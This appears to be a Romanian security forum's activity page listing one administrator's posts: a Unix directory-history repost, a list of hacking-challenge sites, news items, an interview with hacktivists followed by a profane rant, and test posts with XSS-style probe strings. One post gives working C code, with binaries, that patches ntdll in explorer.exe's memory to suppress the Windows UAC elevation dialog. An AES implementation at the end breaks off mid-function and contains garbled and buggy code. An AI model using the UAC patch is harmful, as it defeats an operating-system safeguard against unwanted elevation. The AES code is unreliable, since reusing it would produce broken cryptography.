Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. Ba, am auzit ca l-au arestat pe Tinkode
  2. Understanding the bin, sbin, usr/bin , usr/sbin split Rob Landley rob at landley.net Thu Dec 9 15:45:39 UTC 2010 On Tuesday 30 November 2010 15:58:00 David Collier wrote: > I see that busybox spreads it's links over these 4 directories. > > Is there a simple rule which decides which directory each link lives > in..... > > For instance I see kill is in /bin and killall in /usr/bin.... I don't > have a grip on what might be the logic for that. You know how Ken Thompson and Dennis Ritchie created Unix on a PDP-7 in 1969? Well around 1971 they upgraded to a PDP-11 with a pair of RK05 disk packs (1.5 megabytes each) for storage. When the operating system grew too big to fit on the first RK05 disk pack (their root filesystem) they let it leak into the second one, which is where all the user home directories lived (which is why the mount was called /usr). They replicated all the OS directories under there (/bin, /sbin, /lib, /tmp...) and wrote files to those new directories because their original disk was out of space. When they got a third disk, they mounted it on /home and relocated all the user directories to there so the OS could consume all the space on both disks and grow to THREE WHOLE MEGABYTES (ooooh!). Of course they made rules about "when the system first boots, it has to come up enough to be able to mount the second disk on /usr, so don't put things like the mount command /usr/bin or we'll have a chicken and egg problem bringing the system up." Fairly straightforward. Also fairly specific to v6 unix of 35 years ago. The /bin vs /usr/bin split (and all the others) is an artifact of this, a 1970's implementation detail that got carried forward for decades by bureaucrats who never question _why_ they're doing things. It stopped making any sense before Linux was ever invented, for multiple reasons: 1) Early system bringup is the provice of initrd and initramfs, which deals with the "this file is needed before that file" issues. We've already _got_ a temporary system that boots the main system. 2) shared libraries (introduced by the Berkeley guys) prevent you from independently upgrading the /lib and /usr/bin parts. They two partitions have to _match_ or they won't work. This wasn't the case in 1974, back then they had a certain level of independence because everything was statically linked. 3) Cheap retail hard drives passed the 100 megabyte mark around 1990, and partition resizing software showed up somewhere around there (partition magic 3.0 shipped in 1997). Of course once the split existed, some people made other rules to justify it. Root was for the OS stuff you got from upstream and /usr was for your site- local files. Then / was for the stuff you got from AT&T and /usr was for the stuff that your distro like IBM AIX or Dec Ultrix or SGI Irix added to it, and /usr/local was for your specific installation's files. Then somebody decided /usr/local wasn't a good place to install new packages, so let's add /opt! I'm still waiting for /opt/local to show up... Of course given 30 years to fester, this split made some interesting distro- specific rules show up and go away again, such as "/tmp is cleared between reboots but /usr/tmp isn't". (Of course on Ubuntu /usr/tmp doesn't exist and on Gentoo /usr/tmp is a symlink to /var/tmp which now has the "not cleared between reboots" rule. Yes all this predated tmpfs. It has to do with read- only root filesystems, /usr is always going to be read only in that case and /var is where your writable space is, / is _mostly_ read only except for bits of /etc which they tried to move to /var but really symlinking /etc to /var/etc happens more often than not...) Standards bureaucracies like the Linux Foundation (which consumed the Free Standards Group in its' ever-growing accretion disk years ago) happily document and add to this sort of complexity without ever trying to understand why it was there in the first place. 'Ken and Dennis leaked their OS into the equivalent of home because an RK05 disk pack on the PDP-11 was too small" goes whoosh over their heads. I'm pretty sure the busybox install just puts binaries wherever other versions of those binaries have historically gone. There's no actual REASON for any of it anymore. Personally, I symlink /bin /sbin and /lib to their /usr equivalents on systems I put together. Embedded guys try to understand and simplify... Rob -- GPLv3: as worthy a successor as The Phantom Menace, as timely as Duke Nukem Forever, and as welcome as New Coke. Sursa: http://lists.busybox.net/pipermail/busybox/2010-December/074114.html
  3. [h=1]Online Hacking/Programming Challenges[/h] Just a short list. Please let me know of ones I am missing: HAX.TOR :: Hacking Challenges - Free Shell Account - Security TryThis0ne - Hacking Challenges! Hack This Site! NetWars - Cyber Hacking Challenge http://intruded.net/ OverTheWire - Wargames https://cybersecuritychallenge.org.uk/index.php HackQuest :: Learn about Hacking, Cracking, JavaScript, PHP, Cryptology and Password security http://www.try2hack.nl/ https://www.hacking-lab.com/ Offensive Security Online Security Training Challenge <Code/Racer> - Battle it out and learn the code... Brought to you by Treehouse SmashTheStack Wargaming Network The Python Challenge Sursa:
  4. [h=1]FBI Says Social Media-Sniffing App Will Protect Privacy[/h] By Damon Poeter January 30, 2012 05:45pm EST The Federal Bureau of Investigation said Monday that a social media monitoring application it is seeking to develop will be vetted to ensure it protects the privacy of individuals and protected groups before being used. The FBI's Strategic Information and Operations Center (SIOC) made waves last week with a FedBizOpps.gov post requesting information about the potential for building an app capable of sniffing through online media sites and social networks to look for emerging threats around the world. Absent any context, the ad led to speculation that the feds are ginning up a "Big Brother"-type operation to snoop on users of Facebook, Twitter, and other popular social media platforms frequented by hundreds of millions of people around the globe. But if such an application is developed and used by the FBI, the agency's Privacy and Civil Liberties Unit "will review the legal implications of the application and ensure that we meet all privacy requirements prior to the application being implemented," an FBI spokesperson told PCMag.com. "The intent is to view publicly available open-source, non-private social data that is readily available on the open Internet," Special Agent Ann Todd of the FBI's Office of Public Affairs said. "The application will not focus on specific persons or protected groups, but on words that relate to 'events' and 'crisis,' and activities constituting violations of federal criminal law or threats to national security. Examples of these words will include 'lockdown,' 'bomb,' 'suspicious package,' 'white powder,' 'active shoot,' 'school lock down,' etc." Todd also reiterated that the Jan. 19 post on FedBizOpps.gov was a request for information (RFI) only. The FBI sought "to determine the capabilities of the IT industry to provide an open-source and social media application," she said, adding that "[t]he RFI was issued for market research and planning purposes only ... t was not intended to solicit proposals and no submissions will be accepted as official offers for contract." Sursa: FBI Says Social Media-Sniffing App Will Protect Privacy | News & Opinion | PCMag.com
  5. [h=2]SEC Takes Action Against Hacker[/h] By Steve Ragan on January 27, 2012 The U.S. Securities and Exchange Commission (SEC) has charged a trader and four firms for what it calls a “brazen and systematic scheme”, which involved more than $850,000 in ill-gotten funds, and more than $2 million in customer compensation. According to the SEC on Thursday, a trader in Latvia was charged for conducting a widespread online account intrusion scheme in which he manipulated the prices of more than 100 NYSE and Nasdaq securities. The SEC alleges that Igors Nagaicevs, who has not been served with the charges due to the fact he is overseas, broke into online brokerage accounts more than 150 times over the last 14 months, and drove stock prices up or down by making unauthorized purchases or sales in the hijacked accounts. “Nagaicevs engaged in a brazen and systematic securities fraud, repeatedly raiding brokerage accounts and causing massive damages to innocent investors and their brokerage firms,” said Marc J. Fagel, Director of the SEC’s San Francisco Regional Office. To make matters worse, four firms were charged with allowing the transactions, because they did not register Nagaicevs as a legitimate broker. Each of the trading firms provided him online access to trade directly in the U.S. markets through an account held in the firm’s name. “These firms provided unfettered access to trade in the U.S. securities markets on an essentially ********* basis,” said Daniel M. Hawke, Chief of the SEC’s Market Abuse Unit. “By failing to register as brokers, the firms and principals in this case exposed U.S. markets to real harm by evading crucial safeguards of the federal securities laws. We will not allow firms like these to fly under the radar and become safe havens for market abuse.” Alchemy Ventures, Inc., KM Capital Management, LLC, Zanshin Enterprises, LLC, and Mercury Capital were the firms named by the SEC. Two of the associates working for two of the named firms agreed to settle for $35,000 each in fines. The SEC’s administrative action will determine whether the non-settling trading firms and principals violated the broker registration provision of the federal securities laws, or whether the non-settling principals aided and abetted and caused the firms’ violations, and what sanctions, if any, are appropriate as a result. The SEC’s actions occurred on the same day that the Financial Industry Regulatory Authority (FINRA) issued an investor alert and a regulatory notice about an increase in financially motivated attacks targeting email. Sursa: SEC Takes Action Against Hacker | SecurityWeek.Com
  6. Pseudo-hackeri sau ce gre?eal? face presa în c?utare de adrenalin? pentru cititori? | WorldIT
  7. Nu vad keylogger-ul...
  8. Nu ma Pax nu mai e cum era inainte.
  9. EXCLUSIV Discutie cu hackerii #antisecRO: Aceste atacuri au ca scop dezvaluirea coruptiei si a adevarului exact asa cum este el, cum il gasim noi, la ei....nu cum stie populatia din minciunile altora De Adrian Vasilache | hotnews.ro – Vi, 27 ian. 2012 Grupul de hackeri intitulat #antisecRO a spart joi site-urile Directiei generale de asistenta sociala si protectia copilului Giurgiu si ale Institutului de Fizica si Inginerie Nucleara Horia Hulubei si au repostat baza de date a acestuia pe o pagina de internet, accesibila oricui. In aceeasi zi, Centrul national de raspuns la incidente de securitate cibernetica (CERT-RO) a contactat organizatia detinatoare a domeniului unde erau postate datele si a blocat accesul la date. HotNews.ro a contactat gruparea #antisecRO in incercarea de a afla mai multe despre motivele pentru care au fost sparte cele doua site-uri. Reporter HotNews.ro: Care sunt motivele pentru care ati spart cele doua site-uri - al unei directii de asistenta sociala si al unui institut de fizica? (multi oameni semnaleaza ca nu inteleg de ce ati ales aceste tinte in locul unora care chiar au "o influenta negativa asupra populatiei"). #antisecRO: Cele doua tinte au fost alese datorita gradului de coruptie si a banilor cheltuiti aiurea de catre cele 2 institutii, dar si datorita faptului ca sunt foarte slab securizate, si am preferat sa icnepem de aici. Dupa cum stiti, la Giurgiu este un grad foarte ridicat de coruptie, in comparatie cu celelalte orase, motiv pt care am si decis ca acel site sa fie primul care sa fie dat jos. Reporter HotNews.ro: O alta curiozitate tine de datele IFIN-HH pe care le-ati afisat public pe internet. M-am uitat putin pe cateva dintre ele, recunosc ca nu foarte atent, insa erau adrese de e-mail fara user sau parola a.i. sa poti accesa contul, ID-uri si alte date personale aparent fara nici o importanta - Puteau fi folosite in vreun fel acele date de catre oamenii care le-au vazut ulterior pe internet? Cum? #antisecRO: In legatura cu IFIN-HH, datele care le-am publicat reprezinta un 70% din total, iar acest 70% arata destul de bine cum banii populatiei sunt cheltuiti drept aiurea pe niste rahaturi, iar unele sume de acolo nu coincid deloc cu realitatea...dupa calculele noastre, unele ar trebui sa coste mai putin de un sfert din sumele care apar acolo...cine s-ar fi gandit ca pana si o institutie ca IFIN-HH poate fi corupta? Reporter HotNews.ro: Ce considerati ca ati realizat cu acest atac? #antisecRO: Aceste atacuri au ca scop dezvaluirea coruptiei si a "adevarului" exact asa cum este el, cum il gasim noi, la ei....nu cum stie populatia din minciunile altora Reporter HotNews.ro: Multi au luat in ras acest "atac" al vostru, vazut ca o joaca, si au adresat si critici legate de greselile de scriere din limba engleza. Cum explicati aceste greseli? #antisecRO: In legatura cu greselile gramaticale, atat va pot spune....toate sunt facute cu un scop, si ma opresc aici pe tema asta...cine o sa inteleaga bine, cine nu, la fel de bine...nu ne intereseaza ce spune lumea despre noi. Reporter HotNews.ro: Ulterior CERT-RO a anuntat ca a blocat accesul la pagina unde ati postat datele. Cum comentati? Aveti sa le transmiteti vreun mesaj? #antisecRO: CERT-RO este o institutie la fel de corupta ca toate celelalte...va spun asta din surse sigure...pe noi nu ne sperie cu absolut nimic...CERT-RO reprezinta whitehats, aparent inteligenti dar foarte corupti...si culmea, colac peste pupaza, avem oameni infiltrati si acolo, si oricand am putea dezvalui multe, dar deocamdata nu este cazul, insa, daca va fi, o vom face cu siguranta....oficial pot sa va spun ca avem de mult acces la planurile lor, monitorizam o parte din adresele lor de mail si activitatea lor pe unele servere ale institutiei....sunt multe care, daca situatia o va cere, vor fi date publicitatii...CERT-RO este o jucarie a guvernului, neinteresanta pentru noi cel putin. Reporter HotNews.ro: In mesaj anuntati ca nu va veti opri aici si ca "Tintele urmatoare sunt majoritatea site-urilor guvernamentale, precum si celor a firmelor mari din Romania". Din nou, care sunt motivele? #antisecRO: Motivele pentru care am inceput aceste atacuri cred ca sunt destul de clare: CORUPTIA...tot ce se cheama coruptie va fi data publicitatii de catre noi, indiferent de numele persoanei sau al institutiei. Reporter HotNews.ro: Puteti da ceva mai multe detalii legate de genul de autoritate sau firma pe care o vizati? #antisecRO: Vizam orice institutie guvernamentala care se va dovedi a fi corupta sau orice firma care face activitati ilegale, impreuna cu iubitii nostri guvernanti Reporter HotNews.ro: Puteti sa ne spuneti cateva informatii despre voi (de genul cati sunteti, ce varste, de ce faceti asta, de cat timp, daca sunteti numai romani, care este relatia cu politia, daca va este sau nu frica de consecinte etc..) - in masura in care considerati ca informatiile nu va pot face rau. #antisecRO: Despre noi nu va putem spune decat urmatoarele: suntem foarte putini romani care facem parte din aceasta grupare #antisec, #antisec reprezinta ********* si Lulzsec, ne puteti gasi oricand pe mIRC (server irc.anonops.com port 6667, chan #romania si #antisec).si ca un mesaj pentru CERT-RO: ar fi bine sa va uitati in oglinda si sa stati deoparte, ca sa nu iasa un razboi pe care nu il veti castiga niciodata! si nici nu dorim sa se lase cu demisii si scandaluri la nivel inalt....cred ca toata lumea trebuie sa manance o paine in vremurile astea...faceti cumva si pastrati-va painea!" Sursa: ?EXCLUSIV Discutie cu hackerii #antisecRO: Aceste atacuri au ca scop dezvaluirea coruptiei si a adevarului exact asa cum este el, cum il gasim noi, la ei....nu cum stie populatia din minciunile altora - Yahoo! ======================================================= "a spart joi site-urile Directiei generale de asistenta sociala si protectia copilului Giurgiu" - Ratati #1 "(CERT-RO) a contactat organizatia detinatoare a domeniului unde erau postate datele si a blocat accesul la date" - Ratati #2 "Cele doua tinte au fost alese datorita gradului de coruptie" - Ratati #3 "sunt foarte slab securizate" - Ratati #4 "acel site sa fie primul care sa fie dat jos" - Ratati #5 "Aceste atacuri au ca scop dezvaluirea coruptiei" - Ratati #6 "greselile gramaticale, atat va pot spune....toate sunt facute cu un scop" - Ratati #7 "avem oameni infiltrati si acolo" - Ratati #8 "Motivele pentru care am inceput aceste atacuri cred ca sunt destul de clare: CORUPTIA" - Ratati #9 "Vizam orice institutie guvernamentala care se va dovedi a fi corupta" - Ratati #10 "ca sa nu iasa un razboi pe care nu il veti castiga niciodata" - Ratati #11 Dupa ce sunt se caca in mijlocul drumului, il mai iau si la palme. Nu inteleg cum cei din presa pot sa fie atat de ratati si sa faca publice astfel de pseudo-interviuri. 1. Protectia copilului Giurgiu? Ce dracu ma, nu au gasit si ei altceva? 2. Se intereseaza de ei, si e posibil sa pateasca ca altii, dintr-o porcarie sa se trezeasca cu cazier, atunci sa vad cat de mandri vor mai fi de "vitejiile" lor 3. Tintele au fost alese daca nu cu un dork de Google, atunci cu ghiciul, la intamplare, ce o fi o fi 4. Asta arata varsta lor, limbajul pe care il foloseam si noi cand aveam 15 ani, "scuza" 5. O sa dea cu LOIC in el, ca si Anonimusii cap de tanc? Foarte "inteligent" 6. Au avut ca scop sa devina pseudo-vedete peste noapte. Daca erau baieti cu cap, faceau publice datele, daca avea ceva interesant, nu o baza de date luata prin SQLI si nu se bateau cu pumnii in piept ca sunt asa razboinici 7. Daca nu sunt in stare sa scrie corect, e clar... Si ce scuza penibila 8. Da, mamele lor dau cu matura acolo 9. Ce cacat de coruptie la PROTECTIA COPILULUI GIURGIU? Cat de ratati sa fie oamenii sa creada asa ceva? 10. Vizeaza orice cacat de site vulnerabil la SQL Injection, poate cel putin fac si ei manual si nu cu Havij 11. Din nou "modestia", de parca ar fi in stare sa faca ceva, la cert probabil nu sunt pusti de 12 ani care nu stiu macar structura unui pachet TCP, nu stiu cine se cred astia, dar imi pare rau pentru ei. Ce ma frustreaza e ca astfel de ratati fac de ras termenul de "hacker" asociat in mod stupid de presa pulii, de oameni care nu stiu sa instaleze un Windows, dar scriu articole legate de ITSec. Muie! Si ma enerveaza sa vad ca pe langa Anonimusi mai exista astfel de specimene la noi in tara, care se bat cu pumnii in piept pentru un cacat de SQL Injection (cand niciunul nu stie ce e un SGBDR), si care se cred periculosi pentru ca exista LOIC si ei "stiu" sa apese pe un buton, crezand ca asta le deschide drumul cate cunoasterea absoluta.
  10. Ma asteptam la o obfuscare a codului. Ai idee ce e la acea locatie? Cred ca face parte din header-ul .NET dar nu stiu ce.
  11. Fixed. Alta problema majora? Stiu, trebuie facute multe modificari minore, culori sau alte rahaturi, dar momentan sa scapam de problemele importante.
  12. S-a facut un mic upgrade, au fost facute ceva schimbari, insa nu sunt prea "vizibile". Ideea e ca pot sa apara diverse probleme si ne-ar fi util daca ne-ati spune daca apare vreo problema. Stim ca sunt probleme legate de template, cand vom avea timp ne vom ocupa. Informativ: Members: 72,161 SELECT Count ( * ) FROM `user` Count(*) 72162
  13. Nytro

    Test

    <b>Pula-n pizda</b> dwfdsfdsfsf
  14. Nytro

    Test

    dfsdfsd
  15. Nytro

    Test

  16. Nytro

    Test

    Muie vBulletin
  17. Nytro

    Test

    fdgdfgdfg">sdfsdfdsf
  18. Nytro

    Test

    ">
  19. [h=1]Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer[/h]Author: [h=3]rohitab[/h] This post describes a method to run programs like regedit.exe without displaying the UAC elevation dialog. When you run a program using Windows Explorer, it calls CreateProcess, which in turn calls CreateProcessInternal. On operating systems with UAC, CreateProcessInternal calls RtlQueryElevationFlags to determine if the UAC elevation dialog should be displayed. Here is a screenshot from API Monitor showing the callstack for RtlQueryElevationFlags RtlQueryElevationFlags returns flags indicating the state of UAC. The following flags are supported: #define ELEVATION_UAC_ENABLED 0x01 #define ELEVATION_VIRTUALIZATION_ENABLED 0x02 #define ELEVATION_INSTALLER_DETECTION_ENABLED 0x04 See UnDoc'd for documentation on this undocumented API. Here is a disassembly of RtlQueryElevationFlags on Windows 7 x64 RtlQueryElevationFlags: 000000007700B850 C7 01 00 00 00 00 mov dword ptr [rcx], 0 000000007700B856 F6 04 25 F0 02 FE 7F 02 test byte ptr [7FFE02F0h],2 000000007700B85E 74 06 je RtlQueryElevationFlags+16h (7700B866h) 000000007700B860 C7 01 01 00 00 00 mov dword ptr [rcx],1 ; ELEVATION_UAC_ENABLED 000000007700B866 F6 04 25 F0 02 FE 7F 04 test byte ptr [7FFE02F0h],4 000000007700B86E 74 03 je RtlQueryElevationFlags+23h (7700B873h) 000000007700B870 83 09 02 or dword ptr [rcx],2 ; ELEVATION_VIRTUALIZATION_ENABLED 000000007700B873 F6 04 25 F0 02 FE 7F 08 test byte ptr [7FFE02F0h],8 000000007700B87B 74 03 je RtlQueryElevationFlags+30h (7700B880h) 000000007700B87D 83 09 04 or dword ptr [rcx],4 ; ELEVATION_INSTALLER_DETECTION_ENABLED 000000007700B880 33 C0 xor eax,eax 000000007700B882 C3 ret The API reads the value at 7FFE02F0h and sets flags indicating UAC state. In order to disable the UAC elevation dialog, the API needs to be modified so that it does not set any flags. There are multiple ways to do it such as re-routing the API using hotpatching, injecting a DLL, modifying the memory location 7FFE02F0h etc. Since we only need to modify a couple of values, its easier to just patch the API in place. The sample code shown below opens Windows Explorer (explorer.exe), and patches RtlQueryElevationFlags in ntdll.dll. Once patched, the API always returns 0 for the flags regardless of the UAC state. Any processes that are executed after this, will run without displaying the UAC elevation dialog. The code, if run again, will unpatch the API to its original state and restore UAC elevation check. Binaries for both 32-bit and 64-bit are attached to this post. // UAC Elevation Enable/Disable // Copyright © 2011, Rohitab Batra // All rights reserved. #include <tchar.h> #include <stdio.h> #include <Windows.h> #include <TlHelp32.h> // Bytes to patch and offsets for comparison #ifdef _WIN64 #define PATCH_BYTE_1 18 #define PATCH_BYTE_2 34 #define PATCH_BYTE_3 47 #define COMPARE_OFFSET_1 9 #define COMPARE_OFFSET_2 25 #define COMPARE_OFFSET_3 38 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 48 #else #define PATCH_BYTE_1 22 #define PATCH_BYTE_2 37 #define PATCH_BYTE_3 49 #define COMPARE_OFFSET_1 13 #define COMPARE_OFFSET_2 28 #define COMPARE_OFFSET_3 40 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 52 #endif DWORD GetExplorerProcessId() { DWORD dwProcessId = 0; HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Create snapshot of running processes hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } // Iterate through the list to find explorer.exe pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe"))) { dwProcessId = pe32.th32ProcessID; break; } } while(Process32Next(hProcessSnap, &pe32)); } CloseHandle(hProcessSnap); return dwProcessId; } HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId) { HMODULE hModule = NULL; MODULEENTRY32W me32; // Create a snapshot of modules in the process HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); if(hModuleSnap == INVALID_HANDLE_VALUE) { _tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n")); return FALSE; } // Iterate through the list to find ntdll.dll me32.dwSize = sizeof(me32); if(Module32First(hModuleSnap, &me32)) { do { if(!_tcsicmp(me32.szModule, _T("ntdll.dll"))) { hModule = me32.hModule; break; } } while(Module32Next(hModuleSnap, &me32)); } CloseHandle(hModuleSnap); return hModule; } UINT_PTR GetRtlQueryElevationFlagsRva() { HMODULE hModule = GetModuleHandle(_T("ntdll.dll")); if(!hModule) { return 0; } FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags"); if(!fpFunction) { _tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n")); return 0; } return (UINT_PTR)fpFunction - (UINT_PTR)hModule; } VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll) { // Get the RVA for RtlQueryElevationFlags UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva(); if(!uRtlQueryElevationFlagsRva) { return; } // Open process with permissions to perform virtual memory operations HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId); if(!hProcess) { _tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError()); return; } __try { BYTE rgbyBuffer[BUFFER_SIZE]; SIZE_T sizeNumberOfBytesTransfered; LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva); // Read data in from the start of RtlQueryElevationFlags if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) || sizeNumberOfBytesTransfered != sizeof(rgbyBuffer)) { _tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError()); __leave; } // Compare data to make sure it matches what we expect if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0) { _tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError()); __leave; } // Check the current state if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04) { _tprintf(_T("UAC Elevation Check is ON. Turning OFF\n")); } else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00) { _tprintf(_T("UAC Elevation Check is OFF. Turning ON\n")); } else { _tprintf(_T("UAC Elevation Check is UNKNOWN\n")); __leave; } // Patch bytes rgbyBuffer[PATCH_BYTE_1] ^= 0x01; rgbyBuffer[PATCH_BYTE_2] ^= 0x02; rgbyBuffer[PATCH_BYTE_3] ^= 0x04; LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1); // Write patched data back if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { __leave; } // Failed to write; unprotect the memory and retry BOOL bSuccess = FALSE; DWORD dwOldProtect; if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { // Retry writing patched data if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { bSuccess = TRUE; } VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect); } if(!bSuccess) { _tprintf(_T("ERROR: Cannot write memory\n")); } } __finally { CloseHandle(hProcess); } } int _tmain(int argc, _TCHAR* argv[]) { _tprintf(_T("UAC Elevation Enable/Disable\n© 2011 Rohitab Batra\nAll rights reserved.\nhttp://www.rohitab.com\n\n")); __try { DWORD dwExplorerProcessId = GetExplorerProcessId(); if(!dwExplorerProcessId) { _tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n")); __leave; } HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId); if(!hExplorerNtDll) { _tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n")); __leave; } UacElevationDisable(dwExplorerProcessId, hExplorerNtDll); } __finally { } _tprintf(_T("Press ENTER to exit")); getchar(); return 0; } A quicker way to test this, without using the above code, is through API Monitor. Launch API Monitor, set a post-call breakpoint on RtlQueryElevationFlags and monitor explorer.exe. Now, run a process that requires elevation, such as regedit.exe. API Monitor will display the breakpoint dialog as shown below. This will run regedit.exe without the UAC elevation dialog. Download: x86: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3332 x64: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3333 Sursa: Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer - rohitab.com - Forums
  20. [h=1][C] AES Implementation[/h]Author: [h=3]X-N2O[/h] I joined all the source inside the code tags. If you wanna use it you have the separate files aes.c, aes.h and main.c inside the zip file. Enjoy. // AES Implementation by X-N2O // Started: 15:41:35 - 18 Nov 2009 // Finished: 20:03:59 - 21 Nov 2009 // Logarithm, S-Box, and RCON tables are not hardcoded // Instead they are generated when the program starts // All of the code below is based from the AES specification // You can find it at <a href="http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf" class="bbc_url" title="External link" rel="nofollow external">http://csrc.nist.gov...97/fips-197.pdf</a> // You may use this code as you wish, but do not remove this comment // This is only a proof of concept, and should not be considered as the most efficient implementation #include <stdlib.h> #include <string.h> #include <stdio.h> #define AES_RPOL 0x011b // reduction polynomial (x^8 + x^4 + x^3 + x + 1) #define AES_GEN 0x03 // gf(2^8) generator (x + 1) #define AES_SBOX_CC 0x63 // S-Box C constant #define KEY_128 (128/8) #define KEY_192 (192/8) #define KEY_256 (256/8) #define aes_mul(a, ((a)&&(?g_aes_ilogt[(g_aes_logt[(a)]+g_aes_logt[(])%0xff]:0) #define aes_inv(a) ((a)?g_aes_ilogt[0xff-g_aes_logt[(a)]]:0) unsigned char g_aes_logt[256], g_aes_ilogt[256]; unsigned char g_aes_sbox[256], g_aes_isbox[256]; typedef struct { unsigned char state[4][4]; int kcol; size_t rounds; unsigned long keysched[0]; } aes_ctx_t; void aes_init(); aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen); inline unsigned long aes_subword(unsigned long w); inline unsigned long aes_rotword(unsigned long w); void aes_keyexpansion(aes_ctx_t *ctx); inline unsigned char aes_mul_manual(unsigned char a, unsigned char ; // use aes_mul instead void aes_subbytes(aes_ctx_t *ctx); void aes_shiftrows(aes_ctx_t *ctx); void aes_mixcolumns(aes_ctx_t *ctx); void aes_addroundkey(aes_ctx_t *ctx, int round); void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]); void aes_invsubbytes(aes_ctx_t *ctx); void aes_invshiftrows(aes_ctx_t *ctx); void aes_invmixcolumns(aes_ctx_t *ctx); void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]); void aes_free_ctx(aes_ctx_t *ctx); void init_aes() { int i; unsigned char gen; // build logarithm table and it's inverse gen = 1; for(i = 0; i < 0xff; i++) { g_aes_logt[gen] = i; g_aes_ilogt[i] = gen; gen = aes_mul_manual(gen, AES_GEN); } // build S-Box and it's inverse for(i = 0; i <= 0xff; i++) { char bi; unsigned char inv = aes_inv(i); g_aes_sbox[i] = 0; for(bi = 0; bi < 8; bi++) { // based on transformation 5.1 // could also be done with a loop based on the matrix g_aes_sbox[i] |= ((inv & (1<<bi)?1:0) ^ (inv & (1 << ((bi+4) & 7))?1:0) ^ (inv & (1 << ((bi+5) & 7))?1:0) ^ (inv & (1 << ((bi+6) & 7))?1:0) ^ (inv & (1 << ((bi+7) & 7))?1:0) ^ (AES_SBOX_CC & (1 << bi)?1:0) ) << bi; } g_aes_isbox[g_aes_sbox[i]] = i; } // warning: quickhack g_aes_sbox[1] = 0x7c; g_aes_isbox[0x7c] = 1; g_aes_isbox[0x63] = 0; } aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen) { aes_ctx_t *ctx; size_t rounds; size_t ks_size; switch(keyLen) { case 16: // 128-bit key rounds = 10; break; case 24: // 192-bit key rounds = 12; break; case 32: // 256-bit key rounds = 14; break; defaut: return NULL; } ks_size = 4*(rounds+1)*sizeof(unsigned long); ctx = malloc(sizeof(aes_ctx_t)+ks_size); if(ctx) { ctx->rounds = rounds; ctx->kcol = keyLen/4; memcpy(ctx->keysched, key, keyLen); ctx->keysched[43] = 0; aes_keyexpansion(ctx); } return ctx; } inline unsigned long aes_subword(unsigned long w) { return g_aes_sbox[w & 0x000000ff] | (g_aes_sbox[(w & 0x0000ff00) >> 8] << 8) | (g_aes_sbox[(w & 0x00ff0000) >> 16] << 16) | (g_aes_sbox[(w & 0xff000000) >> 24] << 24); } inline unsigned long aes_rotword(unsigned long w) { // May seem a bit different from the spec // It was changed because unsigned long is represented with little-endian convention on x86 // Should not depend on architecture, but this is only a POC return ((w & 0x000000ff) << 24) | ((w & 0x0000ff00) >> 8) | ((w & 0x00ff0000) >> 8) | ((w & 0xff000000) >> 8); } void aes_keyexpansion(aes_ctx_t *ctx) { unsigned long temp; unsigned long rcon; register int i; rcon = 0x00000001; for(i = ctx->kcol; i < (4*(ctx->rounds+1)); i++) { 